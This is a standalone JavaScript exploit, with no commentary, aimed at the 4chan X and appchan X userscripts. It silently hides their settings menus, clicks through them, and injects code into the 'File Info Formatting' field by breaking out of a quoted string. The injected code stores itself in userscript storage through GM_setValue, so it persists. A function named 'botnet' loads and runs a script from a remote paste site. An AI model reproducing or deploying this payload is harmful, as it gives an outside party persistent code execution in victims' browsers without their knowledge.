\
function botnet() { var x = document.createElement('script'); x.src = 'https://paste.installgentoo.com/view/raw/1b510422'; document.head.appendChild(x); return ''; } function setGM() { document.body.addEventListener('mousemove', function() { var y = document.getElementsByName('fileInfo')[0]; if (y && typeof GM_setValue === 'function') { var ns = '4chan X.'; if (document.body.classList.contains('fourchan_x')) ns = '4chan_x.'; if (document.documentElement.classList.contains('appchan-x')) ns = 'appchan_x.'; GM_setValue(ns + 'File Info Formatting', '"true"'); GM_setValue(ns + 'fileInfo', JSON.stringify(y.value)); } var overlay = document.getElementById('overlay'); if (overlay) overlay.click(); }, true); return ''; } function clickThrough(items, cb) { var selector = items.shift(); var el = document.querySelector(selector); if (el) el.click(); setTimeout(function() { if (items.length > 0) { clickThrough(items, cb); } else { cb(); } }, 0); } if (!window.dropped) { window.dropped = true; var ss = document.createElement('style'); ss.textContent = '#menu, #overlay, #fourchanx-settings, #appchanx-settings {opacity: 0 !important;}'; document.body.appendChild(ss); clickThrough([ '.menu-button', '.settings-link, .settingsWindowLink', '.tab-main, .tab-script, label[for="main_tab"]' ], function() { var x = document.getElementsByName('File Info Formatting')[0]; x.checked = true; if (x) { x.dispatchEvent(new CustomEvent('click')); x.dispatchEvent(new CustomEvent('change')); } clickThrough(['.tab-rice, .tab-advanced, label[for="rice_tab"]'], function() { var y = document.getElementsByName('fileInfo')[0]; y.value = "%l (%p%s, %r)'+("+setGM+")()+'"; y.dispatchEvent(new CustomEvent('input')); y.dispatchEvent(new CustomEvent('change')); y.value = "%l (%p%s, %r)'+("+botnet+")()+'"; y.dispatchEvent(new CustomEvent('input')); y.dispatchEvent(new CustomEvent('change')); }); }); }